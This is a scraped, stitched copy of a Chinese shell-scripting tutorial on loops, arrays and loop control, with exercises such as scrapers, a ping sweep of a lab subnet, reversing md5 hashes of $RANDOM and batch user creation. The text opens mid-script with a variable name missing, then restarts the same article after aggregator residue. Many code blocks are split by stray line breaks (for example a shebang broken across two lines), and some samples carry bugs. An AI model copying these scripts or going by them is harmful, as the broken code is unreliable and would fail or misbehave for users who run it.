    =/tmp/Randow_Md5.txt
    Md5_Word
    ="21029299 00205d1c a3da1677 1f6d12dd 890684b"

    if [ ! -f $md5File ]
    then
    >$md5File
    for i in {0..32767}
    do
    echo `echo $i |md5sum` $i >> $md5File
    done
    else
    for num in $Md5_Word
    do
    grep $num $md5File
    done
    fi
    View Code 破解RANDOM随机数

    脚本执行结果

    [root@clsn for]# sh  pojie.sh 
    2102929901ee1aa769d0f479d7d78b05
    - 25667
    00205d1cbbeb97738ad5bbdde2a6793d
    - 1346
    a3da1677501d9e4700ed867c5f33538a
    - 25345
    1f6d12dd61b5c7523f038a7b966413d9
    - 7041
    890684ba3685395c782547daf296935f
    - 10082

    1.2.7 【练习题7】博客园博文爬虫案例

      获取博客园(惨绿少年)博客列表倒序排序考试题

    需求如下:

      请把https://www.cnblogs.com/clsn/地址中的所有博文,按照时间倒序列表如下:

        2017年12月8日  Shell编程基础篇-下

        http://www.cnblogs.com/clsn/p/8006210.html

        2017年12月7日   memcached 缓存数据库应用实践

        http://www.cnblogs.com/clsn/p/7999510.html

    高级要求:

      生成html页面,并设置超链接。

      结果如改网页展示:http://www.cnblogs.com/clsn/p/8007232.html

    脚本内容:

     1 [root@clsn htmp]# cat clsn_blog.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: clsn_blog.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 21:19:12
    9 # Description:
    10 #############################################################
    11
    12 Uri='http://www.cnblogs.com/clsn/default.html?page='
    13
    14 clsn_Html=/tmp/html/clsn.html
    15 mkdir -p /tmp/html/
    16 >$clsn_Html
    17
    18 for i in {1..6}
    19 do
    20 curl -s $Uri$i |grep -A 5 'ImageLink' |sed 's#<.*div.*># #g'|sed 's#--#<br>#g' >> $clsn_Html
    21 echo '<br>' >>$clsn_Html
    22 done
    View Code 博客园博文爬虫案例

    脚本成网页文件

     

    1.2.7.1  51CTO博客爬虫案例

    脚本内容

     1 [root@clsn html]# cat oldboy_blog.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: oldboy_blog.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 22:30:57
    9 # Description:
    10 #############################################################
    11
    12 Uri='http://blog.51cto.com/oldboy/p'
    13 Blog_Index_File=/tmp/html/oldboy_blog.html
    14 mkdir -p /tmp/html
    15 > /tmp/html/oldboy_blog.html
    16
    17 for i in {1..29}
    18 do
    19 curl -s $Uri$i |grep -A 5 '发布于' |\
    20 sed '/^.*zan fr.*/,+2d'|\
    21 sed 's#^--$#<br>#g'|\
    22 sed 's#<a.*fl">发布于:#<a>#g'|\
    23 sed 's#<sp.*an>##g' >>\
    24 $Blog_Index_File
    25 echo '<br>' >>$Blog_Index_File
    26 done
    View Code 51CTO博客爬虫

    文本编码转码

    [root@clsn for]# iconv --help
    用法: iconv [选项...] [文件...]
    转换给定文件的编码。

    输入
    /输出格式规范:
    -f, --from-code=名称 原始文本编码
    -t, --to-code=名称 输出编码

    信息:
    -l, --list 列举所有已知的字符集

    输出控制:
    -c 从输出中忽略无效的字符
    -o, --output=FILE 输出文件
    -s, --silent 关闭警告
    --verbose 打印进度信息

    -?, --help 给出该系统求助列表
    --usage 给出简要的用法信息
    -V, --version 打印程序版本号

    长选项的强制或可选参数对对应的短选项也是强制或可选的

    常用:

     iconv  -f gb2312  -t utf-8 -c  clsn.html

    1.3 while循环语句

    在编程语言中,while循环(英语:while loop)是一种控制流程的陈述。利用一个返回结果为布林值(Boolean)的表达式作为循环条件,当这个表达式的返回值为“真”(true)时,则反复执行循环体内的程式码;若表达式的返回值为“假”(false),则不再执行循环体内的代码,继续执行循环体下面的代码。

             因为while循环在区块内代码被执行之前,先检查陈述是否成立,因此这种控制流程通常被称为是一种前测试循环(pre-test loop)。相对而言do while循环,是在循环区块执行结束之后,再去检查陈述是否成立,被称为是后测试循环。

     

     

    1.3.1 shell中while语法

    while 条件
    do
    命令
    done

    1.3.2 while 使用场景

             多用于创建守护进程

    【示例1】:while实现web服务器搭建

             脚本代码

    [root@clsn scripts]# vim web_view.sh 
    #
    !/bin/bash
    #############################################################
    # File Name: web_view.
    sh
    # Version: V1.
    0
    # Author: clsn
    # Organization: http:
    //blog.znix.top
    # Created Time : 2017-12-11 10:07:24
    # Description:
    #############################################################
    while true
    do
    echo "ok" | nc -l 81
    done

      客户端进行访问测试

    [root@clsn html]# curl 10.0.0.180:81
    ok

      服务端显示结果:

    [root@clsn scripts]# sh  web_view.sh 
    GET
    / HTTP/1.1
    User
    -Agent: curl/7.29.0
    Host:
    10.0.0.180:81
    Accept:
    */*

    【示例2】:while创建定时任务

             脚本内容:

    #!/bin/bash
    while true
    do
    uptime
    sleep 0.6
    done

             脚本执行结果

    [root@clsn while]# sh  while1.sh 
    15:01:52 up 2 days, 6:02, 3 users, load average: 0.00, 0.01, 0.05
    15:01:53 up 2 days, 6:02, 3 users, load average: 0.00, 0.01, 0.05
    15:01:53 up 2 days, 6:02, 3 users, load average: 0.00, 0.01, 0.05
    15:01:54 up 2 days, 6:02, 3 users, load average: 0.00, 0.01, 0.05
    15:01:55 up 2 days, 6:02, 3 users, load average: 0.00, 0.01, 0.05
    15:01:55 up 2 days, 6:02, 3 users, load average: 0.00, 0.01, 0.05

    说明:

             sleep 与 usleep

    sleep 单位  sleep 1 休息1

    usleep 单位 微秒 usleep 1000000 休息1s

    1微秒等于百万分之一秒(10的负6次方秒)

    时间测试

    [root@clsn while]# time sleep 0.1

    real 0m0.102s
    user 0m0.001s
    sys 0m0.000s

    1.3.3 while 作用

      补充定时任务功能,执行小于1秒的定时任务

      循环执行某些操作,例如水果菜单

                http://www.cnblogs.com/clsn/p/8006210.html  (1.3.6)

    示例1:使用while循环实现水果菜单的重复使用  

             脚本内容

    1 使用while循环实现水果菜单的重复使用
    View Code 使用while循环实现水果菜单的重复使用

             脚本执行过程

     

    示例2:计算1-100的和

      方法一 (bc命令实现)

    echo `seq -s + 1 100`|bc

      方法二(while循环方法)

    [root@clsn while]# cat jishan.sh 
    #
    !/bin/bash
    #############################################################
    # File Name: jishan.
    sh
    # Version: V1.
    0
    # Author: clsn
    # Organization: http:
    //blog.znix.top
    # Created Time : 2017-12-09 15:18:44
    # Description:
    #############################################################

    i
    =1

    while [ "$i" -le 100 ]
    do
    ((b
    =b+i))
    ((i
    ++))
    done
    echo $b

    示例3:实现类似手机通讯计费功能

             脚本内容:

     1 [root@clsn scripts]# cat while/shouji.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: shouji.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-09 15:56:09
    9 # Description:
    10 #############################################################
    11 sum=1000
    12 i=15
    13
    14
    15 while [ $sum -ge 15 ]
    16 do
    17 cat<<EOF
    18 =================
    19 1.发短信
    20 2.查余额
    21 3.账户充值
    22 4.退出
    23 =================
    24 EOF
    25 read -p "你要做什么呢?" Some
    26 case "$Some" in
    27 1)
    28 sum=$((sum-i))
    29 read -p "请输入发送短信的内容:"
    30 read -p "请输入收信人:"
    31 sleep 0.3
    32 echo "发送成功."
    33 echo "您当前余额为$sum"
    34 ;;
    35 2)
    36 echo "您当前余额为$sum"
    37 ;;
    38 3)
    39 read -p "请输入你要充值的金额:" ChongZhi
    40 sum=$((sum+ChongZhi))
    41 echo "充值成功,当前余额为$sum"
    42 ;;
    43 4)
    44 exit
    45 ;;
    46 *)
    47 echo "输入有误!"
    48 exit 2
    49 esac
    50 done
    51
    52 echo "余额不足,请及时充值!"
    View Code :实现类似手机通讯计费功能

    1.4 获取取文件中的行,单词和字符

    1.4.1 迭代获取文件中的每一行

    方法一

    while read line;
    do
    echo $line;
    done < file.txt

    方法二

    cat file.txt|while read line
    do
    echo $line
    done

    方法三

    exec < file.txt
    while read line;
    do
    echo line;
    done

    1.4.2 迭代获取每一个单词

    for word in $line;
    do
    echo $word;
    done

    1.4.3 迭代获取每一个字符

    word=participate
    for ((i=0;i<${#word};i++))
    do
    echo ${word:1:1};
    done

    1.4.4 同时获取取文件中的行,单词和字符脚本

    脚本内容

    #!/bin/bash
    n
    =1
    while read i
    do
    echo "第${n}行 $i"
    m
    =1
    for x in $i
    do
    echo "第${m}个单词 $x"
    echo $x|grep -o .
    ((m
    ++))
    done
    ((n
    ++))
    done < $1

    脚本执行结果:

      1 [root@clsn scripts]# sh  lunxun.sh  /etc/hosts
    2 第1行 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
    3 第1个单词 127.0.0.1
    4 1
    5 2
    6 7
    7 .
    8 0
    9 .
    10 0
    11 .
    12 1
    13 第2个单词 localhost
    14 l
    15 o
    16 c
    17 a
    18 l
    19 h
    20 o
    21 s
    22 t
    23 第3个单词 localhost.localdomain
    24 l
    25 o
    26 c
    27 a
    28 l
    29 h
    30 o
    31 s
    32 t
    33 .
    34 l
    35 o
    36 c
    37 a
    38 l
    39 d
    40 o
    41 m
    42 a
    43 i
    44 n
    45 第4个单词 localhost4
    46 l
    47 o
    48 c
    49 a
    50 l
    51 h
    52 o
    53 s
    54 t
    55 4
    56 第5个单词 localhost4.localdomain4
    57 l
    58 o
    59 c
    60 a
    61 l
    62 h
    63 o
    64 s
    65 t
    66 4
    67 .
    68 l
    69 o
    70 c
    71 a
    72 l
    73 d
    74 o
    75 m
    76 a
    77 i
    78 n
    79 4
    80 第2行 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
    81 第1个单词 ::1
    82 :
    83 :
    84 1
    85 第2个单词 localhost
    86 l
    87 o
    88 c
    89 a
    90 l
    91 h
    92 o
    93 s
    94 t
    95 第3个单词 localhost.localdomain
    96 l
    97 o
    98 c
    99 a
    100 l
    101 h
    102 o
    103 s
    104 t
    105 .
    106 l
    107 o
    108 c
    109 a
    110 l
    111 d
    112 o
    113 m
    114 a
    115 i
    116 n
    117 第4个单词 localhost6
    118 l
    119 o
    120 c
    121 a
    122 l
    123 h
    124 o
    125 s
    126 t
    127 6
    128 第5个单词 localhost6.localdomain6
    129 l
    130 o
    131 c
    132 a
    133 l
    134 h
    135 o
    136 s
    137 t
    138 6
    139 .
    140 l
    141 o
    142 c
    143 a
    144 l
    145 d
    146 o
    147 m
    148 a
    149 i
    150 n
    151 6
    152 第3行 10.0.0.1 mirrors.aliyuncs.com mirrors.aliyun.com
    153 第1个单词 10.0.0.1
    154 1
    155 0
    156 .
    157 0
    158 .
    159 0
    160 .
    161 1
    162 第2个单词 mirrors.aliyuncs.com
    163 m
    164 i
    165 r
    166 r
    167 o
    168 r
    169 s
    170 .
    171 a
    172 l
    173 i
    174 y
    175 u
    176 n
    177 c
    178 s
    179 .
    180 c
    181 o
    182 m
    183 第3个单词 mirrors.aliyun.com
    184 m
    185 i
    186 r
    187 r
    188 o
    189 r
    190 s
    191 .
    192 a
    193 l
    194 i
    195 y
    196 u
    197 n
    198 .
    199 c
    200 o
    201 m
    202 第4行 10.0.0.180 clsn
    203 第1个单词 10.0.0.180
    204 1
    205 0
    206 .
    207 0
    208 .
    209 0
    210 .
    211 1
    212 8
    213 0
    214 第2个单词 clsn
    215 c
    216 l
    217 s
    218 n
    View Code 1.4.4 同时获取取文件中的行,单词和字符脚本 执行结果

    1.4.5 eval 命令用法

    [root@clsn ~]# clsn=6
    [root@clsn
    ~]# echo {1..$clsn}
    {
    1..6}
    [root@clsn
    ~]# eval echo {1..$clsn}
    1 2 3 4 5 6

       eval 命令的说明

    [root@clsn ~]# help eval
    eval: eval [参数 ...]
    将参数作为 shell 命令执行

    将 ARGs 合成一个字符串,用结果作为 shell 的输入,
    并且执行得到的命令。

    退出状态:
    以命令的状态退出,或者在命令为空的情况下返回成功。

    1.5 break continue exit return

    条件与循环控制及程序返回值命令表 

    命令

    说明

    break n   

    如果省略n,则表示跳出整个循环,n表示跳出循环的层数

    continue n

    如果省略n,则表示跳过本次循环,忽略本次循环的剩余代码,进人循环的下一次循环。 n表示退到第n层继续循环

    exit n

    退出当前Shell程序,n为上一次程序执行的状态返回值。n也可以省略,在下一个Shell里可通过"$?"接收exit nn

    return n

    用于在函数里作为函数的返回值,以判断函数执行是否正确。在下一个Shell里可通过"$?"接收exit nn

    简单来说即:
    break 跳出循环continue 跳出本次循环
    exit 退出脚本
    return 与 exit 相同,在函数中使用

    1.5.1 break命令说明

    [root@clsn scripts]# help break 
    break: break [n]
    退出
    forwhile、或 until 循环

    退出一个 FOR、WHILE 或 UNTIL 循环。如果指定了N,则打破N重
    循环

    退出状态:
    退出状态为0除非 N 不大于或等于
    1

      测试脚本内容

     1 #!/bin/bash
    2
    3 for i in {1..5}
    4
    5 do
    6
    7 if [ $i -eq 3 ]
    8
    9 then
    10
    11 break
    12
    13 fi
    14
    15 echo $i
    16
    17 done
    18
    19 echo "ok"
    View Code break 测试脚本

      脚本执行结果

    [root@clsn scripts]# sh break.sh 
    1
    2
    ok

    1.5.2 continue命令说明

    [root@clsn scripts]# help continue 
    continue: continue [n]
    继续
    forwhile、或 until 循环。

    继续当前 FOR、WHILE 或 UNTIL 循环的下一步。
    如果指定了 N, 则继续当前的第 N 重循环。

    退出状态:
    退出状态为
    0 除非 N 不大于或等于1。

      测试脚本内容

     1 #!/bin/bash
    2 for i in {1..5}
    3 do
    4 if [ $i -eq 3 ]
    5 then
    6 continue
    7 fi
    8 echo $i
    9 done
    10 echo "ok"
    View Code continue 测试脚本

      脚本执行结果

    [root@clsn scripts]# sh continue.sh 
    1
    2
    4
    5
    ok

    1.5.3 exit命令说明

    [root@clsn scripts]# help exit
    exit: exit [n]
    退出shell。

    以状态 N 退出 shell。 如果 N 被省略,则退出状态
    为最后一个执行的命令的退出状态。

      测试脚本内容

     1     #!/bin/bash
    2 for i in {1..5}
    3 do
    4 if [ $i -eq 3 ]
    5 then
    6 exit
    7 fi
    8 echo $i
    9 done
    10 echo "ok"
    View Code exit 测试脚本

      脚本执行结果

        [root@clsn scripts]# sh exit.sh 
    1
    2

    1.5.4 return命令说明

    [root@clsn tuichu]# help return 
    return: return [n]
    从一个 shell 函数返回。

    使一个函数或者被引用的脚本以指定的返回值 N 退出。
    如果 N 被省略,则返回状态就是
    函数或脚本中的最后一个执行的命令的状态。

    退出状态:
    返回 N,或者如果 shell 不在执行一个函数或引用脚本时,失败。

    1.6 shell中的数组

    1.6.1 为什么会产生Shell数组

      通常在开发Shell脚本时,定义变量采用的形式为“a=l;b=2;C=3”,可如果有多个 变量呢?这时再逐个地定义就会很费劲,并且要是有多个不确定的变量内容,也会难以 进行变量定义,此外,快速读取不同变量的值也是一件很痛苦的事情,于是数组就诞生 了,它就是为了解决上述问题而出现的。

    1.6.2 什么是Shell数组

      Shell的数组就是一个元素集合,它把有限个元素(变量或字符内容)用一个名字来 命名,然后用编号对它们进行区分。这个名字就称为数组名,用于区分不同内容的编 号就称为数组下标。组成数组的各个元素(变量)称为数组的元素,有时也称为下标变量。

    1.6.3 数组中的增删改查

    数组的定义

    # 定义数组
    [root@clsn scripts]# stu
    =(001 002 003)
    # 打印数组
    [root@clsn scripts]#
    echo ${stu[@]}
    001 002 003
    # 显示数组长度
    [root@clsn scripts]#
    echo ${#stu}
    3

    查: 遍历数组的内容

    # 打印数组内容(通过数组下标或索引)
    [root@clsn scripts]#
    echo ${stu[0]}
    001
    [root@clsn scripts]#
    echo ${stu[1]}
    002
    [root@clsn scripts]#
    echo ${stu[2]}
    003
    [root@clsn scripts]#
    echo ${stu[3]}

    # 遍历数组
    方法一
    [root@clsn scripts]#
    for i in ${stu[@]};do echo $i ;done
    001
    002
    003
    # 方法二
    [root@clsn scripts]# array
    =(1 2 3 4 5)
    [root@clsn scripts]#
    for i in `eval echo {1..${#array[@]}}`;do echo ${array[i-1]};done
    1
    2
    3
    4
    5

    :数组添加

    [root@clsn scripts]# stu[3]=004
    [root@clsn scripts]#
    echo ${stu[@]}
    001 002 003 004

    数组修改

    [root@clsn scripts]# stu[2]=000
    [root@clsn scripts]#
    echo ${stu[@]}
    001 002 000 004

    数组删除

    [root@clsn scripts]# unset stu[2]
    [root@clsn scripts]#
    echo ${#stu[@]}
    3
    [root@clsn scripts]#
    echo ${stu[@]}
    001 002 004

    1.6.4 将命令的结果赋值给数组

    dir=(`ls`)
    dir=($(ls))

    命令定义数组

    [root@clsn scripts]# COM=(`ls`)
    [root@clsn scripts]#
    echo ${COM[@]}
    bianliang.
    sh case cfb.sh chanshu.sh check check_url.sh
    clsn.sh clsn_test.sh daojishi.sh ddos_check.sh echo.sh for for2 fruits.sh
    function fz.sh html jingdutiao.sh jishuanqi2.sh jishuanqi.sh lamp.sh lnmp.sh
    memcache_check.sh menu.sh nginx.sh panduan panduan1 play quanju.sh rsync_check.sh
    rsyncd system6 tuichu web_check.sh web_view.sh while xiugaizhuji.sh yhk.sh yunshuan.sh
    zhuajiu.sh

    1.6.1 数组定义格式

    [root@clsn scripts]# a=(1 2 3 )
    [root@clsn scripts]# b
    =(1
    > 2
    > 3
    > 4
    > )
    [root@clsn scripts]#
    echo ${a[@]}
    1 2 3
    [root@clsn scripts]#
    echo ${b[@]}
    1 2 3 4

    1.6.2 数组的本质就是一个变量,只是这个变量存了多个值

    在shell 常用的功能是查

       array=(valuel value2 value3 ...)

    打印数组格式

    ${array[@]} 所有元素
    ${#array[@]} 数组长度
    ${array[i]} 单个元素,i是下标

    1.6.3 【练习题】批量检查多个网站地址是否正常

    要求:

      1、使用shell数组方法实现,检测策略尽量模拟用户访问。

      2、每10秒钟做一次所有的检测,无法访问的输出报警。

      3、待检测的地址如下

        http://www.cnblogs.com/clsn/

        http://blog.znix.top

        http://blog.nmtui.com

        http://10.0.0.7

    脚本内容:

     1 [root@clsn scripts]# cat check_url.sh 
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: check_url.sh
    5 # Version: V1.3
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-12 10:44:39
    9 # Description:
    10 #############################################################
    11 url=(
    12 http://www.cnblogs.com/clsn/
    13 http://blog.znix.top
    14 http://blog.nmtui.com
    15 http://10.0.0.7
    16 )
    17 while true
    18 do
    19 for i in ${url[@]}
    20 do
    21 #curl $i &>/dev/null
    22 a=$(curl -I -w "%{http_code}\n" -o /dev/null -s $i)
    23 if [ $a -ne 200 ]
    24 then
    25 echo "$url 异常"
    26 fi
    27 done
    28 sleep 10
    29 done
    View Code 批量检查多个网站地址是否正常

    1.7 Shell 函数

      shell一个非常重要的特性是它可作为一种编程语言来使用。因为shell是一个解释器,所以它不能对为它编写的程序进行编译,而是在每次从磁盘加载这些程序时对它们进行解释。而程序的加载和解释都是非常耗时的。

       针对此问题,许多shell(如BourneAgainShell)都包含shell函数,shell把这些函数放在内存中,这样每次需要执行它们时就不必再从磁盘读入。shell还以一种内部格式来存放这些函数,这样就不必耗费大量的时间来解释它们。

             函数的作用就是把程序里多次调用相同代码的部分定义成一份,然后起个名字,所有的调用都 只用这名字就可以了,修改代码时,只需要改变函数体内的代码即可。

    1.7.1 使用函数的优势

       

    展开全文
  • SHELL高级进阶

    2018-08-23 11:11:27
    Shell编程进阶篇(完结) 分类: 玩转Linux,运维基本功,Shell编程  转自:https://www.cnblogs.com/clsn/p/8028337.html#auto_id_0 1.1 for循环语句  在计算机科学中,for循环(英语:for loop)是一种编程...

    Shell编程进阶篇(完结)

    分类: 玩转Linux,运维基本功,Shell编程

      转自:https://www.cnblogs.com/clsn/p/8028337.html#auto_id_0

    1.1 for循环语句

         在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行。

         它跟其他的循环,如while循环,最大的不同,是它拥有一个循环计数器,或是循环变数。这使得for循环能够知道在迭代过程中的执行顺序。

    1.1.1 shell中的for循环

             shell中的for 循环与在c中不同,它包含三种形式:第一种结构是列表for 循环;第二种结构就是不带列表的for循环;第三种就类似于C语言。

    ①   列表for循环(常用)

    #!/bin/bash
    for i in 取值列表
    do
        循环主体/命令
    done

     

    ②   不带列表for循环(示例)

    #!/bin/absh
    echo "惨绿少年的博客是:"  
    for i 
         do   
         echo "$i" 
    done 

       脚本执行结果

    [root@clsn for]# sh  for2.sh http://blog.znix.top
    惨绿少年的博客是:
    http://blog.znix.top

     

     

    ③   类似C语言的风格这种用法常在C语语言中使用)

    for((exp1;exp2;exp3))
        do
          指令...
    done   

             编写类似C语言风格脚本

    for((i=0;i<=3;i++))
        do
          echo $i
    done  

             脚本执行过程

     

    1.1.2 不同语言的For循环

    Shell中的两种样式

    # 样式一:
    for i in 1 2 3 
      do 
        echo $i
    done
    # 样式二:
    for i in 1 2 3;do  echo $i;done

      JAVA

    for(int i = 0; i < 5; i++){
        //循环语句;
    }

      PHP

    for ($i = 0; $i < 5; $i++) {
      # statements;
    }

      VB

    For i = 1 To 5
    ===PASCAL===
    for not i=1 do
    begin
       i=0;
       writeln('Go on!');
    end.
       
      '循环语句
    Next i

      swift

    var x = 0
    for i in 1...100{
        x += i
    }
    print(x)
    
    //5050
    for _ in 1...100{
        x += 1
    }
    print(x)
    // 100
    
    var box = [1,2,3,4,5]
    for i in box{
        print(i)
    }
    /*
    1 
    2 
    3 
    4 
    5
    */
    ---

    1.2 for循环相关练习题

    1.2.1 【练习题1】批量生成随机字符文件名案例

    使用for循环在/clsn目录下批量创建10个html文件,其中每个文件需要包含10个随机小写字母加固定字符串clsn,名称示例如下:

    [root@znix C19]# ls /clsn
    apquvdpqbk_clsn.html  mpyogpsmwj_clsn.html  txynzwofgg_clsn.html   
    bmqiwhfpgv_clsn.html  udrzobsprf_clsn.html  vjxmlflawa_clsn.html  
    jhjdcjnjxc_clsn.html  qeztkkmewn_clsn.html jpvirsnjld_clsn.html  
    ruscyxwxai_clsn.html

    脚本内容

     1 [root@clsn for]# cat make_file.sh 
     2 #!/bin/bash
     3 #############################################################
     4 # File Name: make_file.sh
     5 # Version: V1.0
     6 # Author: clsn
     7 # Organization: http://blog.znix.top
     8 # Created Time : 2017-12-08 11:01:19
     9 # Description:
    10 #############################################################
    11 
    12 [ -d /clsn ] || mkdir -p /clsn
    13 rpm -qa |grep pwgen &>/dev/null
    14 if [ $? -eq  1 ] 
    15   then 
    16     yum install pwgen -y &>/dev/null
    17 fi
    18 
    19 cd /clsn &&\
    20 for i in {1..10}
    21   do
    22    #File_Name=`uuidgen |tr "0-9-" "a-z"|cut -c 1-10`
    23    File_Name2=`pwgen -1A0 10`
    24    touch ${File_Name2}_clsn.html
    25 done

    脚本执行结果

    [root@clsn for]# ls -l  /clsn 
    -rw-r--r-- 1 root root 0 12月  8 19:41 aegheiriek_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 aifohxique_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 caexahween_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 ciefaivaib_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 eixongooph_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 foozaivedo_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 ireeteethu_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 ohmeebivae_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 oiceehahth_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 sheewaehoo_clsn.html

    1.2.2 【练习题2】批量改名特殊案例

    【练习题1】中结果文件名中的clsn字符串全部改成znix(最好用for循环实现),并且将扩展名html全部改成大写。

    jpvirsnjld_clsn.html   ===> jpvirsnjld_znix.HTML

    脚本内容:

     1 [root@clsn for2]# cat rename_file.sh 
     2 #!/bin/bash
     3 #############################################################
     4 # File Name: rename_file.sh
     5 # Version: V1.0
     6 # Author: clsn
     7 # Organization: http://blog.znix.top
     8 # Created Time : 2017-12-08 11:31:56
     9 # Description:
    10 #############################################################
    11 
    12 cd /clsn &&\
    13 File_name=`ls |sed -r 's#(.*)_clsn.html#\1#g'`
    14 
    15 for i in $File_name
    16   do
    17    if [ -f ${i}_clsn.html ] 
    18      then
    19      mv ${i}_clsn.html ${i}_znix.HTML
    20    else
    21      echo "文件修改完成."
    22      exit
    23    fi
    24 done

    查看结果

    [root@clsn for2]# ls /clsn/
    aeyaesughi_znix.HTML  caireasipi_znix.HTML  uahahnieli_znix.HTML
    aifaepheeb_znix.HTML  eathixoong_znix.HTML  zalipageen_znix.HTML
    akuipheeye_znix.HTML  ietoothaik_znix.HTML
    apheikieno_znix.HTML  lachohtaif_znix.HTML

    1.2.2.1  批量改名其他方式

      rename 方式(最方便,专业改名)

    rename txt jpg *

      非 for 循环方式批量改名(使用sed命令进行拼接,然后交给bash执行)

    ls *jpg|sed -r 's#(.*).jpg#mv &  \1.mp4#'|bash

    1.2.3 【练习题3】批量创建特殊要求用户案例

      批量创建10个系统帐号clsn01-clsn10并设置密码(密码为随机数,要求字符和数字等混合)。

    脚本内容:

     1 [root@clsn for2]# cat add_user.sh 
     2 #!/bin/bash
     3 #############################################################
     4 # File Name: add_user.sh
     5 # Version: V1.0
     6 # Author: clsn
     7 # Organization: http://blog.znix.top
     8 # Created Time : 2017-12-08 11:52:21
     9 # Description:
    10 #############################################################
    11 
    12 Passwd_File=/tmp/`uuidgen`.txt
    13 >$Passwd_File
    14 chmod 400 $Passwd_File
    15 
    16 for i in clsn{01..10}
    17   do
    18    userdel -r "$i" &>/dev/null
    19    id $i &>/dev/null
    20    if [ $? -ne 0 ]
    21      then
    22        useradd $i
    23        PassWd=`uuidgen`
    24        echo $PassWd |passwd --stdin $i &>/dev/null
    25        echo "用户名:$i  密码:$PassWd" >>$Passwd_File
    26        echo -e "\033[32m $i 用户创建成功!\033[0m"
    27    else 
    28      echo "$i 用户已存在"
    29    fi
    30    if [ "$i" == "clsn10" ] 
    31      then
    32        echo "用户密码请查看文件 $Passwd_File"
    33    fi
    34 done

    查看成的密码文件

    [root@clsn for2]# cat /tmp/3e5c18d9-f878-4d06-931e-5bbcc810c3dc.txt 
    用户名:clsn01  密码:3d4644d0-9cf4-49db-8928-1a8346972c32
    用户名:clsn02  密码:70798c3a-c8e3-42a0-9942-d4011ce4b4b3
    用户名:clsn03  密码:db2a0f1d-2e49-44f5-a5b2-69b352b30120
    用户名:clsn04  密码:62d2e0c6-b755-4b00-ad2d-c98f9ca9f258
    用户名:clsn05  密码:eaa3471b-d04f-4d7c-8b7e-3d75172a483b
    用户名:clsn06  密码:fb260a11-cd47-4b97-ab49-0cae7a755262
    用户名:clsn07  密码:16ee7a1f-8aac-4537-b1aa-7fc75beb8754
    用户名:clsn08  密码:0dde8823-b97d-4c88-9258-3a68a3b53eba
    用户名:clsn09  密码:daf14ec4-ba9f-4593-9773-1557fdf605dc
    用户名:clsn10  密码:6f1b452c-00b2-44a1-9f43-5f658d3a9124

    脚本执行过程:

     

    1.2.3.1  批量创建用户并设置随机密码(不使用shell循环)

      方法一

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& echo \1 >>/tmp/passwd.txt \&\& echo $RANDOM |md5sum |cut -c 1-5>>/tmp/passwd.txt \&\& echo `tail -1 /tmp/passwd.txt`|passwd --stdin \1#g'|bash

      方法二

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& pass=`echo $RANDOM |md5sum |cut -c 1-5` \&\& echo $pass |passwd --stdin \1 \&\& echo \1 $pass>>/tmp/user_passwd.txt#g'|bash

      方法三

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& pass=`echo $RANDOM |md5sum |cut -c 1-5` \&\& echo \1:$pass>>/tmp/user_passwd.txt \&\& chpasswd</tmp/user_passwd.txt#g'|bash

    1.2.4 【练习题4】扫描网络内存活主机案例

      写一个Shell脚本,判断10.0.0.0/24网络里,当前在线的IP有哪些?

    脚本内容:

     1 [root@clsn for]# cat scan_ip2.sh 
     2 #!/bin/bash
     3 #############################################################
     4 # File Name: scan_ip.sh
     5 # Version: V1.0
     6 # Author: clsn
     7 # Organization: http://blog.znix.top
     8 # Created Time : 2017-12-07 21:58:47
     9 # Description:
    10 #############################################################
    11 
    12 Ip_File=/tmp/scan_ip.txt
    13 >$Ip_File
    14 
    15 for i in 10.0.0.{1..254}
    16  do
    17   ping -c 1 -W 1 $i &>/dev/null && \
    18   if [ $? -eq 0 ] ;then 
    19     echo "存活主机: $i" &>>$Ip_File
    20   fi &   
    21 done
    22 echo "使用 cat $Ip_File 查看扫描结果"

    脚本执行结果

    [root@clsn for]# time sh scan_ip2.sh 
    使用 cat /tmp/scan_ip.txt 查看扫描结果
    
    real    0m0.290s
    user    0m0.001s
    sys    0m0.039s
    
    [root@clsn for]#  cat /tmp/scan_ip.txt
    存活主机: 10.0.0.180
    存活主机: 10.0.0.254

    1.2.5 【练习题5】筛选符合长度的单词案例

      利用bash for循环打印下面这句话中字母数不大于6的单词(某企业面试真题)。

        I am clsn Welcome to my blog http://blog.znix.top

    脚本内容:

     1 [root@clsn for]# vim  changdu.sh 
     2 #!/bin/bash
     3 #############################################################
     4 # File Name: changdu.sh
     5 # Version: V1.0
     6 # Author: clsn
     7 # Organization: http://blog.znix.top
     8 # Created Time : 2017-12-07 22:36:48
     9 # Description:
    10 #############################################################
    11 
    12 Word='I am clsn Welcome to my blog http://blog.znix.top'
    13 
    14 for i in $Word
    15  do 
    16   #[ ${#i} -le 6 ]  && echo $i  #子串方法
    17   a=`echo $i |wc -L`
    18   if [ $a -le 6 ]
    19     then 
    20       echo $i
    21    fi
    22 done

    脚本执行结果

    [root@clsn for]# sh changdu.sh 
    I
    am
    clsn
    to
    my
    blog

    方法二:

    read -p "请输入要判断的语句:" a
    set -- $a
    for i in "$@"
